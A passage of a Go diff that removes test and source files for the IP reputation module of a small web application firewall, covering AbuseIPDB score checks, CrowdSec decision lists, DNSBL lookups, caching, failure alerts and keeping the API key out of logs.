 	if len(got) != count-1 || !slices.Contains(got, scores[0]) ||
 		slices.Contains(got, scores[count-1]) {
 		t.Errorf("%d scores kept, want all but the one fetched longest ago", len(got))
 	}
 }
 // abuseIPDBStandIn is a stand-in for AbuseIPDB. It answers a check sent
 // with key by the client's score, as scores gives it, 0 for a client it
 // does not give; a check sent with another key with 401; and, while
 // status is not 0, every check with status and body; and while hanging,
 // none at all. It notes each client checked, and the key sent.
 type abuseIPDBStandIn struct {
 	mu      sync.Mutex
 	scores  map[string]int64
 	status  int
 	body    string
 	hanging bool
 	checked []string
 	keys    []string
 }
 // RoundTrip has the stand-in answer req, in place of the network. A check
 // abandoned before the stand-in answers fails, as over the network.
 func (s *abuseIPDBStandIn) RoundTrip(req *http.Request) (*http.Response, error) {
 	client := req.URL.Query().Get("ipAddress")
 	sent := req.Header.Get("Key")
 	s.mu.Lock()
 	s.checked = append(s.checked, client)
 	s.keys = append(s.keys, sent)
 	score := s.scores[client]
 	status, body, hanging := s.status, s.body, s.hanging
 	s.mu.Unlock()
 	switch {
 	case hanging:
 		<-req.Context().Done()
 		return nil, req.Context().Err()
 	case sent != key:
 		status = http.StatusUnauthorized
 	case status == 0:
 		status = http.StatusOK
 		body = fmt.Sprintf(`{"data":{"ipAddress":%q,"abuseConfidenceScore":%d}}`, client,
 			score)
 	}
 	return &http.Response{
 		StatusCode: status,
 		Status:     fmt.Sprintf("%d %s", status, http.StatusText(status)),
 		Header:     http.Header{},
 		Body:       io.NopCloser(strings.NewReader(body)),
 		Request:    req,
 	}, nil
 }
 // setScore has the stand-in give client score.
 func (s *abuseIPDBStandIn) setScore(client string, score int64) {
 	s.mu.Lock()
 	defer s.mu.Unlock()
 	s.scores[client] = score
 }
 // answerWith has the stand-in answer every check with status and body.
 func (s *abuseIPDBStandIn) answerWith(status int, body string) {
 	s.mu.Lock()
 	defer s.mu.Unlock()
 	s.status, s.body = status, body
 }
 // abuseIPDBParams returns the AbuseIPDBParams of the tests: key, a minimum
 // score of 75, a daily budget of 900, and the cache TTL and timeout of the
 // DNSBL tests, by the bubble's clock, with alerts to a queue that sends
 // none.
 func abuseIPDBParams() reputation.AbuseIPDBParams {
 	return reputation.AbuseIPDBParams{
 		URL:         "https://abuseipdb.example/api/v2/check",
 		Key:         key,
 		MinScore:    75,
 		DailyBudget: 900,
 		CacheTTL:    cacheTTL,
 		Timeout:     timeout,
 		Now:         time.Now,
 		ProcessLog:  slog.New(slog.DiscardHandler),
 		Alerts:      newQueue(),
 	}
 }
 // newAbuseIPDB returns the AbuseIPDB of p, checking clients with
 // abuseIPDB.
 func newAbuseIPDB(
 	abuseIPDB *abuseIPDBStandIn, p reputation.AbuseIPDBParams,
 ) *reputation.AbuseIPDB {
 	checker := reputation.NewAbuseIPDB(p)
 	checker.SetTransport(abuseIPDB)
 	return checker
 }
 // wantScore checks the score checker gives client, and whether it is a
 // hit, as a request from client finds them, offender or not.
 func wantScore(
 	t *testing.T, checker *reputation.AbuseIPDB, client string, offender bool,
 	score int64, hit bool,
 ) {
 	t.Helper()
 	gotScore, gotHit := hitFrom(t, checker, client, offender)
 	if gotScore != score || gotHit != hit {
 		t.Errorf("%s has the score %d, a hit %t, want %d, %t", client, gotScore, gotHit,
 			score, hit)
 	}
 }
 // hitFrom is checker's Hit for a request from address, offender or not.
 // Its client is address for an IPv4 address, and its /64 for an IPv6 one,
 // as sww counts clients.
 func hitFrom(
 	t *testing.T, checker *reputation.AbuseIPDB, address string, offender bool,
 ) (int64, bool) {
 	t.Helper()
 	addr := netip.MustParseAddr(address)
 	client := netip.PrefixFrom(addr, addr.BitLen())
 	if addr.Is6() {
 		client = netip.PrefixFrom(addr, 64).Masked()
 	}
 	return checker.Hit(t.Context(), client, addr, offender)
 }
 // wantChecked checks the clients the stand-in was asked about, in any
 // order.
 func wantChecked(t *testing.T, abuseIPDB *abuseIPDBStandIn, want ...string) {
 	t.Helper()
 	abuseIPDB.mu.Lock()
 	got := slices.Sorted(slices.Values(abuseIPDB.checked))
 	abuseIPDB.mu.Unlock()
 	want = slices.Sorted(slices.Values(want))
 	if !slices.Equal(got, want) {
 		t.Errorf("checked %v, want %v", got, want)
 	}
 }
 // wantFailures checks how many checks failed.
 func wantFailures(t *testing.T, checker *reputation.AbuseIPDB, want int) {
 	t.Helper()
 	if got := checker.Failures(); got != want {
 		t.Errorf("%d checks failed, want %d", got, want)
 	}
 }
 // wantFailureAlert checks that the one alert waiting in queue is a
 // source_failure alert from AbuseIPDB, raised at raised, with reason and
 // the error failure, and that the cooldown has held back held repeats of
 // it.
 func wantFailureAlert(
 	t *testing.T, queue *alerts.Queue, raised time.Time, reason, failure string,
 	held int64,
 ) {
 	t.Helper()
 	got := waiting(queue)
 	if len(got) != 1 || !got[0].Time.Equal(raised) ||
 		got[0].Event != alerts.EventSourceFailure || got[0].Reason != reason ||
 		got[0].Detail["source"] != reputation.AbuseIPDBSource ||
 		got[0].Detail["error"] != failure || queue.Suppressed() != held {
 		t.Errorf("alerts waiting %+v, %d held back, want only AbuseIPDB's %q with %q, "+
 			"and %d", got, queue.Suppressed(), reason, failure, held)
 	}
 }
 // wantBudgetLeft checks how many checks the day's budget has left.
 func wantBudgetLeft(t *testing.T, checker *reputation.AbuseIPDB, want int) {
 	t.Helper()
 	if got := checker.BudgetLeft(); got != want {
 		t.Errorf("%d checks left, want %d", got, want)
 	}
 }
 // scrapeMetrics returns the metrics m serves.
 func scrapeMetrics(t *testing.T, m *metrics.Metrics) string {
 	t.Helper()
 	scraped := httptest.NewRecorder()
 	m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/",
 		http.NoBody))
 	return scraped.Body.String()
 }
@@ -1,513 +0,0 @@
 package reputation_test
 import (
 	"bytes"
 	"encoding/json"
 	"fmt"
 	"io"
 	"log/slog"
 	"net/http"
 	"net/netip"
 	"reflect"
 	"strings"
 	"sync"
 	"testing"
 	"testing/synctest"
 	"time"
 	"sneak.berlin/go/smallwebwaf/internal/alerts"
 	"sneak.berlin/go/smallwebwaf/internal/reputation"
 )
 // The tests run in a synctest bubble, as those of the blocklists do, and
 // fetch the decision list from engine, a stand-in for a CrowdSec engine
 // that answers without the network.
 const (
 	// decisionsURL is the decision list of the tests' engine, and engineKey
 	// the key it answers.
 	decisionsURL = "http://crowdsec.example:8080/v1/decisions"
 	engineKey    = "crowdsec-key-0123456789abcdef"
 	// sshBF and probing are scenarios of the engine's decisions.
 	sshBF   = "crowdsecurity/ssh-bf"
 	probing = "crowdsecurity/http-probing"
 	// ban is the type of a decision to ban, and rangeScope the scope of a
 	// decision on a netblock, as CrowdSec names them.
 	ban        = "ban"
 	rangeScope = "Range"
 )
 func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(t *testing.T) {
 	t.Parallel()
 	synctest.Test(t, func(t *testing.T) {
 		began := time.Now()
 		manual := "manual 'ban' from 'localhost'"
 		e := &engine{key: engineKey, decisions: []decision{
 			{"Ip", suspect, ban, manual, began.Add(6 * time.Hour)},
 			// A shorter decision on the same address, which is not the one
 			// used.
 			{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
 			{rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)},
 			{"Ip", "2001:db8::1", ban, sshBF, began.Add(2 * time.Hour)},
 			// Left out: a decision to show a captcha, and one on a country.
 			{"Ip", "192.0.2.50", "captcha", probing, began.Add(time.Hour)},
 			{"Country", "KP", ban, manual, began.Add(time.Hour)},
 		}}
 		lists := start(t, e, crowdSecParams())
 		for addr, want := range map[string]reputation.Decision{
 			suspect:          {Expires: began.Add(6 * time.Hour), Scenario: manual},
 			"198.51.100.0":   {Expires: began.Add(time.Hour), Scenario: probing},
 			"198.51.100.255": {Expires: began.Add(time.Hour), Scenario: probing},
 			"2001:db8::1":    {Expires: began.Add(2 * time.Hour), Scenario: sshBF},
 			"203.0.113.10":   {},
 			"198.51.101.0":   {},
 			"2001:db8::2":    {},
 			"192.0.2.50":     {},
 		} {
 			wantDecision(t, lists, addr, want)
 		}
 		// With the engine down, the copy kept still holds the decision on
 		// 198.51.100.0/24, which no longer bans once it has ended.
 		e.set(func(e *engine) { e.failing = true })
 		time.Sleep(time.Hour - time.Nanosecond)
 		synctest.Wait()
 		wantDecision(t, lists, "198.51.100.7",
 			reputation.Decision{Expires: began.Add(time.Hour), Scenario: probing})
 		time.Sleep(time.Nanosecond)
 		synctest.Wait()
 		wantDecision(t, lists, "198.51.100.7", reputation.Decision{})
 		wantDecision(t, lists, suspect,
 			reputation.Decision{Expires: began.Add(6 * time.Hour), Scenario: manual})
 	})
 }
 func TestCrowdSecDecisionListFetchedAgainEveryMinute(t *testing.T) {
 	t.Parallel()
 	synctest.Test(t, func(t *testing.T) {
 		began := time.Now()
 		e := &engine{key: engineKey, decisions: []decision{
 			{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
 		}}
 		lists := start(t, e, crowdSecParams())
 		wantEngineFetches(t, e, 1)
 		added := reputation.Decision{Expires: began.Add(2 * time.Hour), Scenario: probing}
 		e.set(func(e *engine) {
 			e.decisions = append(e.decisions,
 				decision{"Ip", "203.0.113.10", ban, probing, added.Expires})
 		})
 		time.Sleep(time.Minute - time.Nanosecond)
 		wantEngineFetches(t, e, 1)
 		wantDecision(t, lists, "203.0.113.10", reputation.Decision{})
 		time.Sleep(time.Nanosecond)
 		wantEngineFetches(t, e, 2)
 		wantDecision(t, lists, "203.0.113.10", added)
 	})
 }
 func TestCrowdSecDecisionOnAClientIsTheOneThatEndsLast(t *testing.T) {
 	t.Parallel()
 	synctest.Test(t, func(t *testing.T) {
 		began := time.Now()
 		e := &engine{key: engineKey, decisions: []decision{
 			// Two decisions on one address, the shorter listed first.
 			{"Ip", suspect, ban, sshBF, began.Add(2 * time.Hour)},
 			{"Ip", suspect, ban, probing, began.Add(4 * time.Hour)},
 			// 198.51.100.130 is held by a decision on its address that ends
 			// after the one on its netblock, and 192.0.2.20 by one that ends
 			// before.
 			{rangeScope, "198.51.100.128/25", ban, sshBF, began.Add(time.Hour)},
 			{"Ip", "198.51.100.130", ban, probing, began.Add(3 * time.Hour)},
 			{rangeScope, "192.0.2.0/24", ban, probing, began.Add(5 * time.Hour)},
 			{"Ip", "192.0.2.20", ban, sshBF, began.Add(2 * time.Hour)},
 		}}
 		lists := start(t, e, crowdSecParams())
 		wantDecision(t, lists, suspect,
 			reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: probing})
 		wantDecision(t, lists, "198.51.100.130",
 			reputation.Decision{Expires: began.Add(3 * time.Hour), Scenario: probing})
 		wantDecision(t, lists, "192.0.2.20",
 			reputation.Decision{Expires: began.Add(5 * time.Hour), Scenario: probing})
 	})
 }
 func TestCrowdSecAnswerOfNoDecisionIsAGoodCopyThatListsNoClient(t *testing.T) {
 	t.Parallel()
 	synctest.Test(t, func(t *testing.T) {
 		began := time.Now()
 		e := &engine{key: engineKey, decisions: []decision{
 			{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
 		}}
 		lists := start(t, e, crowdSecParams())
 		// With its decision deleted, the engine answers null.
 		e.set(func(e *engine) { e.decisions = nil })
 		time.Sleep(time.Minute)
 		wantEngineFetches(t, e, 2)
 		want := []reputation.List{{
 			URL: decisionsURL, Tried: time.Now(), Fetched: time.Now(), Lines: []string{"null"},
 		}}
 		if got := lists.Snapshot(); !reflect.DeepEqual(got, want) {
 			t.Errorf("lists %+v, want %+v", got, want)
 		}
 		if lists.Failures(decisionsURL) != 0 {
 			t.Errorf("%d failures, want 0", lists.Failures(decisionsURL))
 		}
 		wantDecision(t, lists, suspect, reputation.Decision{})
 	})
 }
 func TestCrowdSecFailureKeepsTheLastGoodCopyAlertsOncePerCooldownAndHidesTheKey(
 	t *testing.T,
 ) {
 	t.Parallel()
 	for _, tc := range crowdSecFailures() {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
 			synctest.Test(t, func(t *testing.T) {
 				var log bytes.Buffer
 				began := time.Now()
 				e := &engine{key: engineKey, decisions: []decision{
 					{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
 				}}
 				queue := newQueue()
 				p := crowdSecParams()
 				p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
 				p.Alerts = queue
 				lists := start(t, e, p)
 				kept := lists.Snapshot()
 				e.set(tc.fail)
 				// Each failure is tried again a minute after it.
 				for range 2 {
 					time.Sleep(time.Minute)
 					synctest.Wait()
 				}
 				wantEngineFetches(t, e, 3)
 				wantDecision(t, lists, suspect,
 					reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: sshBF})
 				want := kept[0]
 				want.Tried = time.Now()
 				if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{want}) {
 					t.Errorf("lists %+v, want the first copy, last tried now, %+v", got, want)
 				}
 				if lists.Failures(decisionsURL) != 2 {
 					t.Errorf("%d failures, want 2", lists.Failures(decisionsURL))
 				}
 				// One alert for the first failure; the cooldown holds back the
 				// second.
 				wantAlert(t, queue,
 					fetchFailure(time.Now().Add(-time.Minute), decisionsURL, tc.error))
 				if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+
 					`"url":"`+decisionsURL+`","error":"`+tc.error) {
 					t.Errorf("logged\n%s\nwant the failures", log.String())
 				}
 				wantKeyNotShown(t, e, log.String(), lists, queue)
 			})
 		})
 	}
 }
 // crowdSecFailure is a way for the engine to fail: fail has it answer the
 // fetches after the first so that they fail with error.
 type crowdSecFailure struct {
 	name  string
 	fail  func(e *engine)
 	error string
 }
 // crowdSecFailures returns the ways the engine can fail.
 func crowdSecFailures() []crowdSecFailure {
 	const notDecision = " does not give an address or a netblock and a duration, " +
 		"such as 4h0m0s"
 	return []crowdSecFailure{
 		{
 			"an answer other than 200",
 			func(e *engine) { e.failing = true },
 			"the server answered 503 Service Unavailable",
 		},
 		{
 			"a key the engine refuses",
 			func(e *engine) { e.key = "another-key-0123456789abcdef" },
 			"the server answered 403 Forbidden",
 		},
 		{
 			"a redirect",
 			func(e *engine) { e.redirect = "http://elsewhere.example/v1/decisions" },
 			"the server answered 302 Found",
 		},
 		{
 			"an answer that does not read",
 			func(e *engine) { e.answer = "<html>" },
 			"read the answer: invalid character '<' looking for beginning of value",
 		},
 		{
 			"a decision to ban whose value does not read",
 			func(e *engine) {
 				e.answer = `[{"duration": "4h", "scenario": "` + sshBF + `", ` +
 					`"scope": "Ip", "type": "ban", "value": "203.0.113.300"}]`
 			},
 			"decision 1" + notDecision,
 		},
 		{
 			"a decision to ban whose duration does not read",
 			func(e *engine) {
 				e.answer = `[{"duration": "4h", "scope": "Country", "type": "ban", ` +
 					`"value": "KP"}, {"duration": "four hours", "scope": "Range", ` +
 					`"type": "ban", "value": "198.51.100.0/24"}]`
 			},
 			"decision 2" + notDecision,
 		},
 	}
 }
 // wantKeyNotShown checks that no fetch carried the engine's key to a URL
 // other than its decision list, such as the one a redirect names, and that
 // the key is in none of what the fetches leave behind: log, the process
 // log, the alerts waiting in queue, and the copies of lists, which
 // reputation.json keeps.
 func wantKeyNotShown(
 	t *testing.T, e *engine, log string, lists *reputation.Lists, queue *alerts.Queue,
 ) {
 	t.Helper()
 	e.mu.Lock()
 	keySentTo := e.keySentTo
 	e.mu.Unlock()
 	if len(keySentTo) != 0 {
 		t.Errorf("the key was sent to %v", keySentTo)
 	}
 	shown, err := json.Marshal([]any{lists.Snapshot(), waiting(queue)})
 	if err != nil {
 		t.Fatalf("encode: %v", err)
 	}
 	if strings.Contains(log+string(shown), engineKey) {
 		t.Errorf("the key is shown in\n%s\n%s", log, shown)
 	}
 }
 func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(t *testing.T) {
 	t.Parallel()
 	synctest.Test(t, func(t *testing.T) {
 		began := time.Now()
 		e := &engine{key: engineKey, decisions: []decision{
 			{rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)},
 		}}
 		lists := start(t, e, crowdSecParams())
 		kept := lists.Snapshot()
 		// Restarted half an hour later with what reputation.json keeps, and
 		// the engine down, the decision still bans, until the end it had at
 		// the fetch, half an hour on.
 		time.Sleep(30 * time.Minute)
 		down := &engine{key: engineKey, failing: true}
 		again := reputation.New(crowdSecParams())
 		again.SetTransport(down)
 		err := again.Load(kept)
 		if err != nil {
 			t.Fatalf("load: %v", err)
 		}
 		run(t, again)
 		want := reputation.Decision{Expires: began.Add(time.Hour), Scenario: probing}
 		wantDecision(t, again, "198.51.100.7", want)
 		time.Sleep(30*time.Minute - time.Nanosecond)
 		synctest.Wait()
 		wantDecision(t, again, "198.51.100.7", want)
 		time.Sleep(time.Nanosecond)
 		synctest.Wait()
 		wantDecision(t, again, "198.51.100.7", reputation.Decision{})
 	})
 }
 func TestLoadTakesACrowdSecListNeverFetchedAndRefusesACopyThatDoesNotRead(
 	t *testing.T,
 ) {
 	t.Parallel()
 	now := time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)
 	lists := reputation.New(crowdSecParams())
 	// Tried, and never fetched: there is no copy to read.
 	err := lists.Load([]reputation.List{{URL: decisionsURL, Tried: now}})
 	if err != nil {
 		t.Errorf("load the list never fetched: %v", err)
 	}
 	err = lists.Load([]reputation.List{{
 		URL: decisionsURL, Tried: now, Fetched: now, Lines: []string{
 			`[{"duration": "4h", "scope": "Range", "type": "ban", ` +
 				`"value": "198.51.100.0/33"}]`,
 		},
 	}})
 	const want = "the copy of " + decisionsURL + ": decision 1 does not give an " +
 		"address or a netblock and a duration, such as 4h0m0s"
 	if err == nil || err.Error() != want {
 		t.Errorf("error %v, want %s", err, want)
 	}
 }
 // engine is a stand-in for the local API of a CrowdSec engine. It answers
 // a fetch of the decision list that carries its key in X-Api-Key with its
 // decisions still in force, each with the time it has left as it answers,
 // by the bubble's clock, as an engine does, or with answer while that is
 // not "". It answers 403 to a fetch without its key, as an engine does,
 // with a redirect to redirect while that is not "", and 503 while failing.
 // It counts the fetches, and notes in keySentTo the URL of each fetch of
 // another URL that carries a key, as one following a redirect would.
 type engine struct {
 	mu        sync.Mutex
 	key       string
 	decisions []decision
 	answer    string
 	redirect  string
 	failing   bool
 	fetches   int
 	keySentTo []string
 }
 // decision is a decision of the engine, which ends at expires.
 type decision struct {
 	scope, value, kind, scenario string
 	expires                      time.Time
 }
 // RoundTrip has the engine answer req, in place of the network.
 func (e *engine) RoundTrip(req *http.Request) (*http.Response, error) {
 	e.mu.Lock()
 	defer e.mu.Unlock()
 	e.fetches++
 	if req.URL.String() != decisionsURL && req.Header.Get("X-Api-Key") != "" {
 		e.keySentTo = append(e.keySentTo, req.URL.String())
 	}
 	status, header, body := http.StatusOK, http.Header{}, e.answer
 	switch {
 	case req.URL.String() != decisionsURL || req.Header.Get("X-Api-Key") != e.key:
 		status, body = http.StatusForbidden, `{"message":"access forbidden"}`
 	case e.redirect != "":
 		status, header = http.StatusFound, http.Header{"Location": {e.redirect}}
 	case e.failing:
 		status, body = http.StatusServiceUnavailable, ""
 	case body == "":
 		body = e.inForce(time.Now())
 	}
 	return &http.Response{
 		StatusCode: status,
 		Status:     fmt.Sprintf("%d %s", status, http.StatusText(status)),
 		Header:     header,
 		Body:       io.NopCloser(strings.NewReader(body)),
 		Request:    req,
 	}, nil
 }
 // inForce returns the decisions in force at now, as the engine answers
 // them: a JSON list, null for none.
 func (e *engine) inForce(now time.Time) string {
 	var answer []map[string]string
 	for _, d := range e.decisions {
 		if now.Before(d.expires) {
 			answer = append(answer, map[string]string{
 				"duration": d.expires.Sub(now).String(), "origin": "crowdsec",
 				"scenario": d.scenario, "scope": d.scope, "type": d.kind, "value": d.value,
 			})
 		}
 	}
 	body, err := json.Marshal(answer)
 	if err != nil {
 		panic(err) // a list of maps of strings always encodes
 	}
 	return string(body)
 }
 // set changes the engine with change.
 func (e *engine) set(change func(e *engine)) {
 	e.mu.Lock()
 	defer e.mu.Unlock()
 	change(e)
 }
 // crowdSecParams returns the Params of the decision list of the tests'
 // engine, fetched with its key, by the bubble's clock, with alerts to a
 // queue that sends none.
 func crowdSecParams() reputation.Params {
 	p := params()
 	p.CrowdSecDecisionsURL = decisionsURL
 	p.CrowdSecKey = engineKey
 	return p
 }
 // wantEngineFetches waits until Run has made the fetches due, and checks
 // how many the engine has had.
 func wantEngineFetches(t *testing.T, e *engine, want int) {
 	t.Helper()
 	synctest.Wait()
 	e.mu.Lock()
 	got := e.fetches
 	e.mu.Unlock()
 	if got != want {
 		t.Errorf("%d fetches, want %d", got, want)
 	}
 }
 // wantDecision checks the decision lists says is in force on addr now,
 // the zero Decision for none.
 func wantDecision(
 	t *testing.T, lists *reputation.Lists, addr string, want reputation.Decision,
 ) {
 	t.Helper()
 	got, listed := lists.CrowdSecDecision(netip.MustParseAddr(addr), time.Now())
 	if listed != !want.Expires.IsZero() ||
 		listed && (!got.Expires.Equal(want.Expires) || got.Scenario != want.Scenario) {
 		t.Errorf("%s has the decision %+v in force %t, want %+v", addr, got, listed, want)
 	}
 }
@@ -1,332 +0,0 @@
 package reputation
 import (
 	"cmp"
 	"context"
 	"encoding/hex"
 	"errors"
 	"fmt"
 	"log/slog"
 	"net"
 	"net/netip"
 	"slices"
 	"strings"
 	"sync"
 	"time"
 	"github.com/hashicorp/golang-lru/v2/simplelru"
 	"sneak.berlin/go/smallwebwaf/internal/alerts"
 	"sneak.berlin/go/smallwebwaf/internal/config"
 )
 const (
 	// maxVerdicts is how many verdicts of the DNSBL zones are kept, and how
 	// many scores of AbuseIPDB. Past it, the one fetched longest ago is
 	// dropped.
 	maxVerdicts = 100000
 	// maxQueries is how many queries may be under way at once. Past it, a
 	// zone is not asked about a client until the client's next request, so
 	// that a swarm of new addresses cannot fill the memory.
 	maxQueries = 1000
 	// failureDelay is how long a zone is not asked again after a query to
 	// it fails, and no client is checked with AbuseIPDB after a check
 	// fails, so that a source refusing them is not asked on every request.
 	failureDelay = time.Minute
 )
 var (
 	errAsk        = errors.New("ask the zone")
 	errRefused    = errors.New("the zone refused the query")
 	errNotListing = errors.New("the answer is outside 127.0.0.0/8")
 )
 // Verdict is what a zone said about a client, as reputation.json holds
 // it: the zone, the client's address, whether the zone lists it, and when
 // the zone answered.
 type Verdict struct {
 	Zone    string     `json:"zone"`
 	Client  netip.Addr `json:"client"`
 	Listed  bool       `json:"listed"`
 	Fetched time.Time  `json:"fetched"`
 }
 // DNSBLParams are what NewDNSBL needs.
 type DNSBLParams struct {
 	// Zones are the DNSBL zones clients are asked about in
 	// (SWW_DNSBL_ZONES).
 	Zones []string
 	// Resolver is the resolver they are asked through
 	// (SWW_DNSBL_RESOLVER), or, while it is the zero AddrPort, the
 	// host's, as /etc/resolv.conf names it.
 	Resolver netip.AddrPort
 	// CacheTTL is how long a verdict is used after it was fetched
 	// (SWW_REPUTATION_CACHE_TTL), and Timeout how long a query may take
 	// (SWW_REPUTATION_TIMEOUT).
 	CacheTTL time.Duration
 	Timeout  time.Duration
 	// Now tells the time, normally time.Now in UTC.
 	Now func() time.Time
 	// ProcessLog receives each query that fails, and why.
 	ProcessLog *slog.Logger
 	// Alerts receive a source_failure alert for each query that fails.
 	Alerts *alerts.Queue
 }
 // DNSBL asks the DNSBL zones about clients, in the background, and keeps
 // their verdicts. It is safe for concurrent use.
 type DNSBL struct {
 	params   DNSBLParams
 	resolver *net.Resolver
 	mu sync.Mutex
 	// verdicts are by query. Each is added as it is fetched and never moved
 	// up, so that the one fetched longest ago is the first dropped.
 	verdicts *simplelru.LRU[query, Verdict]
 	// asking are the queries under way.
 	asking map[query]bool
 	// queries and failures count, by zone, the queries made and those that
 	// failed, and retryAt is when a zone whose last query failed may be
 	// asked again.
 	queries  map[string]int
 	failures map[string]int
 	retryAt  map[string]time.Time
 }
 // query is a client's address, to ask a zone about.
 type query struct {
 	zone   string
 	client netip.Addr
 }
 // NewDNSBL returns a DNSBL with no verdict yet.
 func NewDNSBL(params DNSBLParams) *DNSBL {
 	verdicts, err := simplelru.NewLRU[query, Verdict](maxVerdicts, nil)
 	if err != nil {
 		panic(err) // NewLRU fails only for a size below one
 	}
 	resolver := &net.Resolver{}
 	if params.Resolver.IsValid() {
 		// Dial is used by Go's own resolver alone.
 		resolver.PreferGo = true
 		resolver.Dial = func(ctx context.Context, network, _ string) (net.Conn, error) {
 			var dialer net.Dialer
 			return dialer.DialContext(ctx, network, params.Resolver.String())
 		}
 	}
 	return &DNSBL{
 		params:   params,
 		resolver: resolver,
 		verdicts: verdicts,
 		asking:   map[query]bool{},
 		queries:  map[string]int{},
 		failures: map[string]int{},
 		retryAt:  map[string]time.Time{},
 	}
 }
 // Zones returns the zones, in the order SWW_DNSBL_ZONES names them.
 func (d *DNSBL) Zones() []string {
 	return slices.Clone(d.params.Zones)
 }
 // ListedBy returns the zones whose verdict on addr, a client's address,
 // lists it, in the order SWW_DNSBL_ZONES names them, each with its key
 // masked, as config.MaskZoneKey masks it, since they go to the request
 // log, the alerts and the metrics. A verdict is used until CacheTTL has
 // passed since it was fetched. Each zone without one is asked about addr
 // in the background, unless a query about addr to it is under way, the
 // zone is left alone after a failure, or maxQueries are under way;
 // ListedBy never waits for a query. ctx is the context of the client's
 // request, and a query goes on after the request ends.
 func (d *DNSBL) ListedBy(ctx context.Context, addr netip.Addr) []string {
 	d.mu.Lock()
 	defer d.mu.Unlock()
 	now := d.params.Now()
 	var listedBy []string
 	for _, zone := range d.params.Zones {
 		q := query{zone: zone, client: addr}
 		kept, found := d.verdicts.Peek(q)
 		switch {
 		case found && now.Sub(kept.Fetched) < d.params.CacheTTL:
 			if kept.Listed {
 				listedBy = append(listedBy, config.MaskZoneKey(zone))
 			}
 		case !d.asking[q] && !now.Before(d.retryAt[zone]) && len(d.asking) < maxQueries:
 			d.asking[q] = true
 			d.queries[zone]++
 			go d.ask(context.WithoutCancel(ctx), q)
 		}
 	}
 	return listedBy
 }
 // Queries returns how many queries were made to zone.
 func (d *DNSBL) Queries(zone string) int {
 	d.mu.Lock()
 	defer d.mu.Unlock()
 	return d.queries[zone]
 }
 // Failures returns how many queries to zone failed.
 func (d *DNSBL) Failures(zone string) int {
 	d.mu.Lock()
 	defer d.mu.Unlock()
 	return d.failures[zone]
 }
 // Snapshot returns every verdict still in use, sorted by client, then by
 // zone, as reputation.json lists them.
 func (d *DNSBL) Snapshot() []Verdict {
 	d.mu.Lock()
 	now := d.params.Now()
 	verdicts := make([]Verdict, 0, d.verdicts.Len())
 	for _, kept := range d.verdicts.Values() {
 		if now.Sub(kept.Fetched) < d.params.CacheTTL {
 			verdicts = append(verdicts, kept)
 		}
 	}
 	d.mu.Unlock()
 	slices.SortFunc(verdicts, func(a, b Verdict) int {
 		return cmp.Or(a.Client.Compare(b.Client), strings.Compare(a.Zone, b.Zone))
 	})
 	return verdicts
 }
 // Load keeps verdicts, read from reputation.json, in place of those it
 // keeps, but for those of a zone SWW_DNSBL_ZONES does not name, and,
 // past maxVerdicts, those fetched longest ago. One fetched CacheTTL ago or
 // more is neither used nor written, as for any verdict.
 func (d *DNSBL) Load(verdicts []Verdict) {
 	verdicts = slices.Clone(verdicts)
 	slices.SortStableFunc(verdicts, func(a, b Verdict) int {
 		return a.Fetched.Compare(b.Fetched)
 	})
 	d.mu.Lock()
 	defer d.mu.Unlock()
 	d.verdicts.Purge()
 	for _, kept := range verdicts {
 		if slices.Contains(d.params.Zones, kept.Zone) {
 			d.verdicts.Add(query{zone: kept.Zone, client: kept.Client}, kept)
 		}
 	}
 }
 // ask asks q's zone about q's client, keeps the verdict, and notes the
 // query as no longer under way. A query that fails gives no verdict: it
 // is counted, logged and raised as a source_failure alert, which show the
 // zone with its key masked, and the zone is not asked again for
 // failureDelay.
 func (d *DNSBL) ask(ctx context.Context, q query) {
 	listed, err := d.lookUp(ctx, q)
 	now := d.params.Now()
 	d.mu.Lock()
 	delete(d.asking, q)
 	if err == nil {
 		d.verdicts.Add(q, Verdict{
 			Zone: q.zone, Client: q.client, Listed: listed, Fetched: now,
 		})
 	} else {
 		d.failures[q.zone]++
 		d.retryAt[q.zone] = now.Add(failureDelay)
 	}
 	d.mu.Unlock()
 	if err != nil {
 		const failed = "asking a DNSBL zone failed"
 		shown := config.MaskZoneKey(q.zone)
 		// Raised before it is logged, so that the alert is there once the
 		// log line is.
 		raiseFailure(d.params.Alerts, failed, shown, err)
 		d.params.ProcessLog.Warn(failed, "zone", shown, "error", err.Error())
 	}
 }
 // lookUp asks q's zone about q's client through the resolver, and returns
 // whether the zone lists it, as readAnswer reads the answer. No such name
 // is a client the zone does not list. A query not answered within Timeout
 // fails.
 func (d *DNSBL) lookUp(ctx context.Context, q query) (bool, error) {
 	ctx, cancel := context.WithTimeout(ctx, d.params.Timeout)
 	defer cancel()
 	answer, err := d.resolver.LookupNetIP(ctx, "ip4", queryName(q.zone, q.client))
 	var dnsErr *net.DNSError
 	switch {
 	case err == nil:
 		return readAnswer(answer)
 	case errors.As(err, &dnsErr) && dnsErr.IsNotFound:
 		return false, nil
 	case errors.As(err, &dnsErr):
 		// The error names the name asked about, which holds the client's
 		// address, which is not to be logged: only what went wrong is kept.
 		return false, fmt.Errorf("%w: %s", errAsk, dnsErr.Err)
 	default:
 		return false, fmt.Errorf("%w: %w", errAsk, err)
 	}
 }
 // queryName returns the name a zone is asked about addr by, as RFC 5782
 // builds it: the four numbers of an IPv4 address, or the 32 hex digits of
 // an IPv6 address, in reverse order, each followed by a dot, then the zone
 // and a dot, which makes it a full name, to which the resolver adds no
 // search domain of /etc/resolv.conf.
 func queryName(zone string, addr netip.Addr) string {
 	parts := strings.Split(addr.String(), ".")
 	if addr.Is6() {
 		parts = strings.Split(hex.EncodeToString(addr.AsSlice()), "")
 	}
